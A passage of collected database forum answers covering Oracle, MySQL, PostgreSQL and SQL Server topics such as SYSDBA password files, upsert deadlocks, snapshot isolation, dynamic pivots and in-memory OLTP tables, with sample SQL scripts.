WHERE status='O' AND session_id IS NULL AND ROWNUM<=:sqli_n;
COMMIT;

It will then do whatever it needs to do and finally release the reserved rows:
UPDATE phone_number SET session_id=NULL
WHERE session_id='<whatever>';
COMMIT;

You'll likely need to revise indexes on this table.


joining the where clause to select statement of two different tables

I'm not too sure what you are doing there and that's not at all how I write queries. Either way, I would try it this way:

select
    a.MBR_ID_TYP_ID || '-' || b.ref_desc as "Member Type" ,
    a.*
from mbr_id as a
    left outer join ref as b
    on  b.ref_nm = 'memberIDType'
    and a.REF_CD = b.MBR_ID_TYP_ID    -- or: b.REF_CD = a.MBR_ID_TYP_ID
                                      -- not clear from the code
where
    a.mbr_id = 6484532;

I don't join in where clauses because that is really hard to read.
I generally put the columns in the select portion, then do the joins in the from section. The filtering goes on in the where clause. Finally if necessary the order by is last, if I need to sort.


Getting ORA-01017: invalid username/password in non-CDB database

Remote (through listener) SYSDBA authentication requies a passwordfile.

Make sure remote_login_passwordfile is set to EXCLUSIVE or SHARED.
Create the password file at ${ORACLE_HOME}/dbs/orapw${ORACLE_SID} as:

orapwd file=${ORACLE_HOME}/dbs/orapw${ORACLE_SID}

This will prompt for a password, then it will create the password file. After that, you can log in remotely as SYSDBA.

PS:

This version uses OS authentication:

$ sqlplus sys/dolan123 as sysdba

As long as you try connecting locally as SYSDBA with a user that is member of the OSDBA group (defined at install time, typically dba), you can type any password, because you will be authenticated based on your group membership, not the password. Successfully logging in with the above does not necessarily means that the SYS password is dolan123.


Improving performance of insert..on duplicate key update

Any approach will lock something.  Even your SELECT.  You cannot avoid it.  The best approach is to minimize the locks.

Normalization

Let's look at the bigger picture.  If the purpose of this is "normalization", then perform the the upsert outside the main transaction.  This prevents many possible deadlocks and speeds up the processing.

If you are doing "batch normalization", see my tips here .  Those two statements (not unlike your 2-steps) are designed to efficiently copy multiple items into a normalization table, and do it without "burning" AUTO_INCREMENT ids.  Again, do them with autocommit=1, not inside of some bigger transaction.

If the main transaction eventually rolls back, then the worst that could happen is that you inserted something unused in the normalization table.  This is not harmful.

INSERTing 100 rows in a single statement is typically about 10 times as fast as using 100 1-row INSERTs.  This speed, alone, helps avoid deadlocks.

Regardless of what prevention measures you take, deadlocks will occur.  Write your code to re-run the entire transaction, as this is usually the
'right fix'.

Likes, upvotes, etc

If the purpose of the UPDATE is a high-volume 'increment', then it may be best to move the counter out of the main table into its own table (together with a minimal PK).  That way, "regular" processing is not being held up by "Likes".


Need sample script for Cluster index scan

Benjamic Navarez has an excellent article on how the cost-based optimizer in SQL Server works.

Essentially, when SQL Server is asked to read a table it looks at several methods of returning the requested data, and chooses the "best" path it can by assigning costs to each type of operation.  It then chooses the cheapest path, or plan.  This may or may not include either seeking the clustered index, scanning the clustered index, or perhaps doing seeks or scans on the non-clustered indexes, if they exist.

Since the plan is cost-based, there is no single piece of code that will always perform a clustered-index scan, except perhaps for the case of SELECT * FROM dbo.[table with a clustered index];.  Even adding an ORDER BY ... clause to that statement may make SQL Server choose a different plan.

In your question you mention that your query performs a clustered index scan whenever the selected number of rows climbs above 10% of the total rows in the table.  The number of rows requested versus the total number of rows in the table is part of the cost-based-optimization, and is likely causing SQL Server to think it will be faster to simply scan the entire clustered index (the clustered index is the table), rather than using a series of index seeks followed by lookups.

Look at point #2 in this article by Aaron Bertrand.  Rob Farley also has a good write-up about it.

Martin Smith's answer on this question also contains some excellent details on this topic.


Why does json_agg fail with error "function json_agg(record) does not exist"?

json_agg does not exist in postgres version 9.2 (which is now at end-of-life).  It was introduced in version 9.3.

The HINT does seem to be slightly inappropriate. If no function by that name exists, then no amount of casting the arguments can work.


...will it block for a period of time proportional to the record count,
  or will the data be updated asynchronously.

Neither.

The additional 14 bytes are used to store two elements:

The transaction sequence number that modified the row.
A pointer to the previous version of the row in the version store (in tempdb) if one exists.

These are only added to the row when it is modified, subsequent to your enabling snapshot isolation. There is no blocking or additional load generated to add the 14 bytes to each row at the point you switch snapshot on.

The only blocking action you may encounter at the point of enabling is due to the need to wait for all current transactions to commit, which is worth keeping in mind. Ideally make the change during a quiet period or preferably a moments downtime where you shut all activity out.

If downtime isn't an option, avoid any period where long running transactions might occur (ETL for example). If you don't get a response within a few seconds, you can query sys.dm_tran_active_snapshot_database_transactions to identify what's getting in the way.


mysql update based on select result, How combine?

Based on your question I think you need to include SELECT statement in UPDATE statement:

Sample SQL in below:

create table test1
(ID int,
select_count int,
select_name varchar(50))

Insert into test1 values (1,1,'A')
Insert into test1 values (2,2,'B')

UPDATE test1
SET select_count = select_count + 1
where select_count = (SELECT select_count FROM test1 WHERE select_name = 'A')

Another way:  If you have 2 tables (TableA and TableB)

UPDATE TableB
SET TableB.value = (
    SELECT TableA.value
    FROM TableA
    WHERE TableA.name = TableB.name
)
where TableB.value < X;


The following worked for me:

pg_dump "port=<port> host=<host> user=<user> dbname=<db> sslcert=<cert> sslkey=<key> sslrootcert=<ca.crt> sslmode=verify-ca" -f <file>


Dynamic Pivot Table Sort by Month and year

This is one option:

It uses a subquery to get the date values but notice I've moved the ORDER BY clause out of the subquery.

declare @dt table (mydate date);
insert into @dt values ('20170101'),('20170201'),('20170301'),('20170401'),('20170501'),('20170601'),('20170701'),('20170801');

declare @cols varchar(1000);

select @cols = STUFF((SELECT ',' + QUOTENAME(CONCAT(mn.[MonthName], '-', CAST(mn.[Year] AS VARCHAR(10))))
                      FROM (SELECT YEAR(mydate) [Year], MONTH(mydate) [Month], DATENAME(MONTH, mydate) AS [MonthName]
                            FROM @dt
                            GROUP BY YEAR(mydate), MONTH(mydate), DATENAME(MONTH, mydate)) mn
                ORDER BY [Year],[Month]
                      FOR XML PATH(''), TYPE
                      ).value('.', 'NVARCHAR(MAX)') , 1, 1, '');

select @cols;
GO

| (No column name)                                                                                |
| :-------------------------------------------------------------------------------------------------------- |
| [January-2017],[February-2017],[March-2017],[April-2017],[May-2017],[June-2017],[July-2017],[August-2017] |

dbfiddle here


Recover a dropped MySQL database with its procedures

If you are lucky, you won't need the backups.  (Oops, you have already gone beyond this step.)

If MySQL's data directory was left behind by the uninstall, then simply reinstall.

Was the backup taken using mysqldump (either explicitly, or under-the hood)?  If so, perhaps it failed to have the arguments asking to save "stored routines", etc.

I fear you are out of luck.


Using an in-memory table with a regular stored procedure

I worked through stored procedures and each type of function ( scalar, in-line TVF, multi-line TVF ) to double-check they worked after conversion to In-memory OLTP tables and it did.  Consider working through this script to see if you can work out what's different about your setup:

USE hekatondb
GO

SET NOCOUNT ON
GO

IF OBJECT_ID('dbo.usp_test') IS NOT NULL DROP PROC dbo.usp_test
IF OBJECT_ID('dbo.usp_test2') IS NOT NULL DROP PROC dbo.usp_test2
IF OBJECT_ID('dbo.usf_test') IS NOT NULL DROP FUNCTION dbo.usf_test
IF OBJECT_ID('dbo.itvf_test') IS NOT NULL DROP FUNCTION dbo.itvf_test
IF OBJECT_ID('dbo.mtvf_test') IS NOT NULL DROP FUNCTION dbo.mtvf_test
IF OBJECT_ID('dbo.A') IS NOT NULL DROP TABLE dbo.A
GO

CREATE TABLE dbo.A (
    id1 SMALLINT NOT NULL PRIMARY KEY NONCLUSTERED,
    id2 BIGINT,
    date DATETIME )
WITH ( MEMORY_OPTIMIZED = ON, DURABILITY = SCHEMA_ONLY );
GO

IF OBJECT_ID('dbo.B') IS NOT NULL DROP TABLE dbo.B

-- Original table
CREATE TABLE dbo.B (
    id1 SMALLINT NOT NULL PRIMARY KEY,
    id2 BIGINT,
    date DATETIME );
GO

-- Add some dummy data
INSERT INTO dbo.A ( id1, id2, date )
VALUES
    ( 1, 1, '1 Jan 2016' ),
    ( 2, 2, '2 Jan 2016' )

INSERT INTO dbo.B ( id1, id2, date )
VALUES
    ( 1, 1, '1 Jan 2016' ),
    ( 2, 2, '2 Jan 2016' )
GO

-- Show the data
SELECT * FROM dbo.A
SELECT * FROM dbo.B
GO

-- Stored proc and function
CREATE PROC dbo.usp_test

    @id1    SMALLINT,
    @id2    BIGINT      OUT,
    @xdate  DATETIME    OUT

AS

SET NOCOUNT ON

    SELECT
        @id2 = id2,
        @xdate = date
    FROM dbo.B
    WHERE id1 = @id1

RETURN
GO

-- First call, works as expected
DECLARE @id1    SMALLINT = 1,
        @id2    BIGINT,
        @xdate  DATETIME

EXEC dbo.usp_test @id1, @id2 OUT, @xdate OUT

SELECT @id1 id1, @id2 id2, @xdate xdate
GO

-- Alter the proc to point at the in-memory OLTP table
ALTER PROC dbo.usp_test

    @id1    SMALLINT,
    @id2    BIGINT      OUT,
    @xdate  DATETIME    OUT

AS

SET NOCOUNT ON

    SELECT
        @id2 = id2,
        @xdate = date
    FROM dbo.A      --<-- now points at in-memory OLTP table
    WHERE id1 = @id1

RETURN
GO

-- Second call, works as expected
DECLARE @id1    SMALLINT = 1,
        @id2    BIGINT,
        @xdate  DATETIME

EXEC dbo.usp_test @id1, @id2 OUT, @xdate OUT

SELECT @id1 id1, @id2 id2, @xdate xdate
GO

-- Create scalar function
CREATE FUNCTION dbo.usf_test
(
    @id1    SMALLINT
)
RETURNS INT
AS
BEGIN

    DECLARE @Result BIGINT

    SELECT @Result = id2 FROM dbo.B WHERE id1 = @id1

    RETURN @Result

END
GO

-- Test it
SELECT dbo.usf_test(1) id2
GO

-- Create inline TVF
CREATE FUNCTION dbo.itvf_test ( @id1 SMALLINT )
RETURNS TABLE
AS RETURN
(
    SELECT id2, date FROM dbo.B WHERE id1 = @id1
)
GO

-- Test it
SELECT * FROM dbo.itvf_test(1)
GO

-- Create multi-line TVF
CREATE FUNCTION dbo.mtvf_test ( @id1 SMALLINT )
RETURNS @resultset TABLE
(
    id2     BIGINT,
    xdate   DATETIME
)
AS
BEGIN

    INSERT INTO @resultset ( id2, xdate )
    SELECT id2, date
    FROM dbo.B
    WHERE id1 = @id1

    RETURN
END
GO

-- Test it
SELECT * FROM dbo.mtvf_test(1)
GO

-- Create natively compiled stored proc
CREATE PROCEDURE dbo.usp_test2
    @id1    SMALLINT,
    @id2    BIGINT      OUT,
    @xdate  DATETIME    OUT
WITH NATIVE_COMPILATION, SCHEMABINDING, EXECUTE AS OWNER
AS BEGIN ATOMIC WITH
(
 TRANSACTION ISOLATION LEVEL = SNAPSHOT, LANGUAGE = N'us_english'
)

    SELECT
        @id2 = id2,
        @xdate = date
    FROM dbo.A      --<-- now points at in-memory OLTP table
    WHERE id1 = @id1

END
GO

-- In-memory OLTP call, works as expected
DECLARE @id1    SMALLINT = 1,
        @id2    BIGINT,
        @xdate  DATETIME

EXEC dbo.usp_test2 @id1, @id2 OUT, @xdate OUT

SELECT @id1 id1, @id2 id2, @xdate xdate
GO

As already mentioned, the most likely suspect is the durability, or possibly permissions.  It's also worth mentioning that character columns for In-memory OLTP tables on SQL Server 2014 require a case-sensitive collation, so although your example does not show any char/varchar etc columns, you should bear this in mind.

If your stored proc only references the In-memory OLTP table then you could consider making it a natively compiled stored procedure, which could potentially be faster.
HTH


How to hide metadata from Postgres users?

Doing that is not supported.  You can try a little bit, and you will succeed a little bit, but everything else around you will fail.  Don't do it, it won't work.

If you need to protection your intellectual property from your clients, create a proper contract or license agreement.